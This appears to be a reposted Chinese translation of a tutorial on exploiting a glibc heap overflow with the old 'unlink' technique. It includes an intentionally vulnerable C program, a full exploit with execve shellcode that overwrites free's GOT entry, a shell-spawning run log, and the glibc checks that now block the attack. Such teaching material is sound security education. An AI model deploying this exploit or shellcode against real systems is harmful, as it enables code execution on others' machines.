Linux (x86) Exploit 开发系列教程之九 使用 unlink 的堆溢出
来源:互联网 发布:c500软件下载 编辑:程序博客网 时间:2024/06/04 17:59
使用 unlink 的堆溢出
译者:飞龙
原文:Heap overflow using unlink
预备条件:
- 理解 glibc malloc
这篇文章中,让我们了解如何使用 unlink 技巧成功利用堆溢出。但是在了解它之前,首先让我们看看漏洞程序:
/* Heap overflow vulnerable program. */#include <stdlib.h>#include <string.h>int main( int argc, char * argv[] ){ char * first, * second;/*[1]*/ first = malloc( 666 );/*[2]*/ second = malloc( 12 ); if(argc!=1)/*[3]*/ strcpy( first, argv[1] );/*[4]*/ free( first );/*[5]*/ free( second );/*[6]*/ return( 0 );}
上面程序的行[3]
会导致堆溢出。用户输入argv[1]
复制给了堆缓冲区first
,没有任何大小限制。因此,当用户输入大于 666 字节时,它就会覆盖下一个块的头部。这个溢出会导致任意代码执行。
看一看漏洞程序的堆内存图片:
unlink:这个技巧的核心思想,就是欺骗 glibc malloc 来 unlink 第二个块。unlink free
的 GOT 条目会使其被 shellcode 地址覆盖。在成功覆盖之后,现在在行[5]
,free
被漏洞程序调用时,shellcode 就会执行。不是很清楚嘛?没问题,首先让我们看看执行free
时,glibc malloc 在干什么。
如果没有攻击者影响,行[4]
的free
会做这些事情:
- 对于不是 mmap 的块,会向前或向后合并。
- 向后合并
- 查看前一个块是不是空闲的 – 前一个块是空闲的,如果当前空闲块的
PREV_INUSE(P)
位没有设置。但是我们这里,前一个块是分配的,因为它的PREV_INUSE
位设置了,通常堆内存的第一个块的前面那个块是分配的(即使它不存在)。 - 如果空闲,合并它。例如,从 binlist unlink(移除)前一个块,将前一个块的大小与当前块相加,并将块指针指向前一个快。但是我们这里,前一个快是分配的,因此 unlink 不会调用。当前空闲块
first
不能向后合并。
- 查看前一个块是不是空闲的 – 前一个块是空闲的,如果当前空闲块的
- 向前合并
- 查看下一个块是不是空闲的 – 下一个块是空闲的,如果下下个块(距离当前空闲块)的
PREV_INUSE(P)
位没有设置。为了访问下下个块,将当前块的大小加到它的块指针,再将下一个块的大小加到下一个块指针。我们这里,距离当前空闲块的下下个块是 top 块,它的PREV_INUSE
位已设置。因此下一个块second
不是空闲的。 - 如果是空闲的,合并它。例如,从它的 binlist 中 unlink(移除)下一个块,并将下一个块的大小添加到当前大小。但是我们这里,下一个块是分配的,因此 unlink 不会调用。当前空闲块
first
不能向前合并。
- 查看下一个块是不是空闲的 – 下一个块是空闲的,如果下下个块(距离当前空闲块)的
- 现在将合并后的块添加到 unsorted bin 中。我们这里,由于合并没有发生,只将
first
块添加到票 unsorted bin 中。
现在让我们假设,攻击者在行[3]
覆盖了second
块的块头部,像这样:
prev_size
为偶数,因此PREV_INUSE
是未设置的,size = -4
fd
为free
的地址减 12bk
为 Shellcode 的地址
在攻击者的影响下,行[4]
的free
会做下面的事情:
- 对于不是 mmap 的块,会向前或向后合并。
- 向后合并
- 查看前一个块是不是空闲的 – 前一个块是空闲的,如果当前空闲块的
PREV_INUSE(P)
位没有设置。但是我们这里,前一个块是分配的,因为它的PREV_INUSE
位设置了,通常堆内存的第一个块的前面那个块是分配的(即使它不存在)。 - 如果空闲,合并它。例如,从 binlist unlink(移除)前一个块,将前一个块的大小与当前块相加,并将块指针指向前一个快。但是我们这里,前一个快是分配的,因此 unlink 不会调用。当前空闲块
first
不能向后合并。
- 查看前一个块是不是空闲的 – 前一个块是空闲的,如果当前空闲块的
- 向前合并
- 查看下一个块是不是空闲的 – 下一个块是空闲的,如果下下个块(距离当前空闲块)的
PREV_INUSE (P)
位未设置。为了访问下下个块,将当前块的大小加到它的块指针,再将下一个块的大小加到下一个块指针。我们这里,距离当前空闲块的下下个块不是 top 块。下下个块在second
块的 -4 偏移处,因为攻击者将second
块的大小覆盖成了 -4。因此现在 glibc malloc 将second
块的prev_inuse
字段看做下下个块的大小字段。由于攻击者覆盖了一个偶数(也就是PREV_INUSE (P)
为是没有设置的)来代替prev_size
,glibc malloc 被欺骗来相信second
块是空闲的。 - 如果是空闲的,合并它。例如,从它的 binlist 中 unlink(移除)下一个块,并将下一个块的大小添加到当前大小。我们这里下一个块是空闲的,因此
second
块会像这样被 unlink:- 将
second
块的fd
和bk
值复制到FD
和BK
变量中。这里,FD
是free
的地址 -12,BK
是 shellcode 的地址(作为堆溢出的一部分,攻击者将它的 shellcode 放到了first
堆缓冲区中)。 BK
的值复制到了距离FD
偏移为 12 的位置。我们这里将 12 字节加到FD
,就指向了free
的 GOT 条目,因此现在free
的 GOT 条目就覆盖成了 shellcode 地址。好的。现在无论free
在哪里调用,shellcode 都会执行。因此漏洞程序中行[5]
的执行会导致 shellcode 执行。
- 将
- 现在将合并后的块添加到 unsorted bin 中。
- 查看下一个块是不是空闲的 – 下一个块是空闲的,如果下下个块(距离当前空闲块)的
看看漏洞程序的堆内存的图片,在攻击者影响用户输入之后:
理解了 unlink 技巧之后,让我们编写利用程序吧。
/* Program to exploit 'vuln' using unlink technique. */#include <string.h>#include <unistd.h>#define FUNCTION_POINTER ( 0x0804978c ) //Address of GOT entry for free function obtained using "objdump -R vuln".#define CODE_ADDRESS ( 0x0804a008 + 0x10 ) //Address of variable 'first' in vuln executable. #define VULNERABLE "./vuln"#define DUMMY 0xdefaced#define PREV_INUSE 0x1char shellcode[] = /* Jump instruction to jump past 10 bytes. ppssssffff - Of which ffff would be overwritten by unlink function (by statement BK->fd = FD). Hence if no jump exists shell code would get corrupted by unlink function. Therefore store the actual shellcode 12 bytes past the beginning of buffer 'first'*/ "\xeb\x0assppppffff" "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";int main( void ){ char * p; char argv1[ 680 + 1 ]; char * argv[] = { VULNERABLE, argv1, NULL }; p = argv1; /* the fd field of the first chunk */ *( (void **)p ) = (void *)( DUMMY ); p += 4; /* the bk field of the first chunk */ *( (void **)p ) = (void *)( DUMMY ); p += 4; /* the fd_nextsize field of the first chunk */ *( (void **)p ) = (void *)( DUMMY ); p += 4; /* the bk_nextsize field of the first chunk */ *( (void **)p ) = (void *)( DUMMY ); p += 4; /* Copy the shellcode */ memcpy( p, shellcode, strlen(shellcode) ); p += strlen( shellcode ); /* Padding- 16 bytes for prev_size,size,fd and bk of second chunk. 16 bytes for fd,bk,fd_nextsize,bk_nextsize of first chunk */ memset( p, 'B', (680 - 4*4) - (4*4 + strlen(shellcode)) ); p += ( 680 - 4*4 ) - ( 4*4 + strlen(shellcode) ); /* the prev_size field of the second chunk. Just make sure its an even number ie) its prev_inuse bit is unset */ *( (size_t *)p ) = (size_t)( DUMMY & ~PREV_INUSE ); p += 4; /* the size field of the second chunk. By setting size to -4, we trick glibc malloc to unlink second chunk.*/ *( (size_t *)p ) = (size_t)( -4 ); p += 4; /* the fd field of the second chunk. It should point to free - 12. -12 is required since unlink function would do + 12 (FD->bk). This helps to overwrite the GOT entry of free with the address we have overwritten in second chunk's bk field (see below) */ *( (void **)p ) = (void *)( FUNCTION_POINTER - 12 ); p += 4; /* the bk field of the second chunk. It should point to shell code address.*/ *( (void **)p ) = (void *)( CODE_ADDRESS ); p += 4; /* the terminating NUL character */ *p = ''; /* the execution of the vulnerable program */ execve( argv[0], argv, NULL ); return( -1 );}
执行上述程序会派生新的 shell。
sploitfun@sploitfun-VirtualBox:~/lsploits/hof/unlink$ gcc -g -z norelro -z execstack -o vuln vuln.c -Wl,--rpath=/home/sploitfun/glibc/glibc-inst2.20/lib -Wl,--dynamic-linker=/home/sploitfun/glibc/glibc-inst2.20/lib/ld-linux.so.2sploitfun@sploitfun-VirtualBox:~/lsploits/hof/unlink$ gcc -g -o exp exp.csploitfun@sploitfun-VirtualBox:~/lsploits/hof/unlink$ ./exp $ lscmd exp exp.c vuln vuln.c$ exitsploitfun@sploitfun-VirtualBox:~/lsploits/hof/unlink$
保护:现在,unlink 技巧不起作用了,因为 glibc malloc 在近几年变得更可靠。添加下面的检查来放置使用 unlink 技巧的堆溢出。
二次释放:释放一个已经在空闲列表的块是不允许的。当攻击者使用 -4 覆盖第二个块时,它的
PREV_INUSE
为没有设置,这意味着first
已经是空闲状态了。因此 glibc malloc 会抛出二次释放错误。if (__glibc_unlikely (!prev_inuse(nextchunk))){ errstr = "double free or corruption (!prev)"; goto errout;
下一个块大小无效:下一个块的大小应该在 8 到 arena 的全部系统内存之间。当攻击者将
second
块的大小赋为 -4 时,glibc malloc 就会抛出下一个块大小无效的错误。if (__builtin_expect (nextchunk->size <= 2 * SIZE_SZ, 0) || __builtin_expect (nextsize >= av->system_mem, 0)){ errstr = "free(): invalid next size (normal)"; goto errout;}
双向链表指针破坏:前一个块的
fd
和下一个块的bk
应该指向当前 unlink 块。当攻击者使用free -12
和 shellcode 地址覆盖fd
和bk
时,free
和 shellcode 地址 + 8 就不会指向当前 unlink 块(second
)。因此 glibc malloc 就抛出双向链表指针破坏错误。if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) malloc_printerr (check_action, "corrupted double-linked list", P);
注意:出于演示目的,漏洞程序不适用下列 Linunx 保护机制编译:
- ASLR
- NX
- RELRO(重定向只读)
参考
- vudo malloc tricks
- Linux (x86) Exploit 开发系列教程之九 使用 unlink 的堆溢出
- Linux (x86) Exploit 开发系列教程之十 使用 Malloc Maleficarum 的堆溢出
- Linux (x86) Exploit 开发系列教程之十一 Off-By-One 漏洞(基于堆)
- SploitFun Linux x86 Exploit 开发系列教程
- Linux (x86) Exploit 开发系列教程之十二 释放后使用
- Linux (x86) Exploit 开发系列教程之七 绕过 ASLR -- 第二部分
- Linux (x86) Exploit 开发系列教程之八 绕过 ASLR -- 第三部分
- Linux堆溢出漏洞利用之unlink
- linux堆溢出学习之unsafe unlink
- Linux(x86) Exploit 系列
- CTF之堆溢出-unlink原理探究
- 【小白】Doug Lead 内存分配器之堆上的缓冲区溢出--unlink
- 堆溢出 pawnable.kr Unlink
- linux下unlink的使用
- Android系列教程之九:GridView组件的使用
- Android系列教程之九:GridView组件的使用
- Android系列教程之九:GridView组件的使用
- Android系列教程之九:GridView组件的使用
- Recyclebin的应用(转载)
- 关于闪回恢复区(转)
- dual表
- windows 启停Oracle服务
- Get和Post请求区别
- Linux (x86) Exploit 开发系列教程之九 使用 unlink 的堆溢出
- mount时,为什么数据文件可以脱机而…
- 第一章 个人认识
- Oracle 不同版本的数据间的导入导…
- 恢复1:有所有归档文件,后增加数…
- 恢复2:
- ORA-01991错误
- MySQL Workbench已停止工作
- 我的面试总结